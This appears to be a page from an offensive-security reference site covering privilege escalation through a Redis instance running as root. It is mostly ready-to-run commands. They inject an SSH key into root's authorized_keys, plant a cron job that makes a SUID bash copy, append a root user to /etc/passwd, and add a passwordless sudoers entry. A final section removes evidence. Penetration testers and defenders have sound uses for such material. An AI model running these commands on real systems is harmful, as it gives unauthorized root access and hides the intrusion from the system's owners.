# Redis Running as Root – Privilege Escalation via File Write

- **URL:** https://hackindex.io/services/redis/privilege-escalation/redis-root-rce
- **Path:** Redis > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/services/redis/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-03-14

When Redis runs as root, every CONFIG SET dir + BGSAVE write lands on disk as a root-owned file. From a low-privilege shell on the same machine (or from direct Redis access), this means you can write to any path on the filesystem. Each write target is an independent path to a root shell:

- `/root/.ssh/authorized_keys`: SSH key injection for persistent root login
- `/etc/cron.d/`: cron job that runs a reverse shell or sets up a SUID binary
- `/etc/passwd`: add a root-level user (destructive, CTF only)
- `/etc/sudoers.d/`: grant passwordless sudo to your current user

## Confirming Redis Runs as Root

From any shell on the target:

```bash
ps aux | grep redis
```

If the `USER` column shows `root`, proceed. If it shows `redis` or another user, the write paths are still valuable but limited to that user's permissions.

From Redis directly (requires Lua or a shell write trick):

```bash
redis-cli -h 127.0.0.1 -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```

Output showing `uid=0(root)` confirms root execution.

## Confirming CONFIG Write Access

```bash
redis-cli -h 127.0.0.1 -p 6379 config get dir
```

Must return a path, not an error.

## Technique 1 - SSH Key Injection to /root/.ssh

The cleanest and most persistent path. Full walkthrough at [https://hackindex.io/services/redis/exploitation/rce-ssh-key](https://hackindex.io/services/redis/exploitation/rce-ssh-key): the same technique applies here since Redis runs as root.

Quick steps:

```bash
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/key_payload.txt
redis-cli -h 127.0.0.1 -p 6379 flushall
cat /tmp/key_payload.txt | redis-cli -h 127.0.0.1 -p 6379 -x set sshkey
redis-cli -h 127.0.0.1 -p 6379 config set dir /root/.ssh
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename authorized_keys
redis-cli -h 127.0.0.1 -p 6379 bgsave
ssh -i ~/.ssh/id_rsa root@127.0.0.1
```

## Technique 2 - Write a SUID Bash Copy

Write a C program that copies `/bin/bash` to a SUID root binary, then compile and execute it via any shell access.

From your foothold shell, create the payload:

**/tmp/suid.c**

```c
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
    return 0;
}
```

```bash
gcc /tmp/suid.c -o /tmp/suid
```

But this requires executing the compiled binary as root. A simpler direct path: use the Redis write to put a SUID shell directly.

Write a SUID shell payload via Redis. This requires writing a binary: use the cron technique instead to execute a SUID setup command as root:

```bash
redis-cli -h 127.0.0.1 -p 6379 flushall
redis-cli -h 127.0.0.1 -p 6379 set payload $'\n\n* * * * * root cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n\n'
redis-cli -h 127.0.0.1 -p 6379 config set dir /etc/cron.d
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename setuid
redis-cli -h 127.0.0.1 -p 6379 bgsave
```

Wait for cron to fire (up to 60 seconds), then:

```bash
/tmp/rootbash -p
```

`-p` preserves the SUID effective UID. You get a root shell.

## Technique 3 - Write to /etc/passwd

Add a root-level user with a known password hash directly to `/etc/passwd`. Generate a password hash:

```bash
openssl passwd -1 -salt xyz hacked123
```

Sample output: `$1$xyz$abc123...`

Write the new user entry:

```bash
redis-cli -h 127.0.0.1 -p 6379 flushall
redis-cli -h 127.0.0.1 -p 6379 set payload $'\n\nhacked:$1$xyz$HASH:0:0:root:/root:/bin/bash\n\n'
redis-cli -h 127.0.0.1 -p 6379 config set dir /etc
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename passwd
redis-cli -h 127.0.0.1 -p 6379 bgsave
```

> [!WARNING]
> Writing to `/etc/passwd` appends a Redis RDB header/footer to the file. This corrupts it and will likely break PAM authentication for all users: including SSH. Only use this technique in CTF environments, never in production assessments. Test on a backup or use SSH key injection instead.

Switch to the new user:

```bash
su hacked
```

## Technique 4 - Sudoers Write

Write a sudoers entry that gives your current user passwordless sudo:

```bash
redis-cli -h 127.0.0.1 -p 6379 flushall
redis-cli -h 127.0.0.1 -p 6379 set payload $'\n\n$USER ALL=(ALL) NOPASSWD: ALL\n\n'
redis-cli -h 127.0.0.1 -p 6379 config set dir /etc/sudoers.d
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename redis-nopasswd
redis-cli -h 127.0.0.1 -p 6379 bgsave
```

Then:

```bash
sudo -l
sudo /bin/bash
```

Writing to `/etc/sudoers.d/` is safer than overwriting `/etc/sudoers` directly: individual files in that directory are included automatically and a bad file does not corrupt the whole sudoers config.

## Clean Up

After escalating, restore the Redis config and remove evidence:

```bash
redis-cli -h 127.0.0.1 -p 6379 config set dir /var/lib/redis
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename dump.rdb
redis-cli -h 127.0.0.1 -p 6379 flushall
redis-cli -h 127.0.0.1 -p 6379 bgsave
rm /etc/sudoers.d/redis-nopasswd
rm /etc/cron.d/setuid
rm /tmp/rootbash
```

## References

- [Redis Security Documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/security) - Guidance on running Redis as a non-root user and protecting CONFIG access.
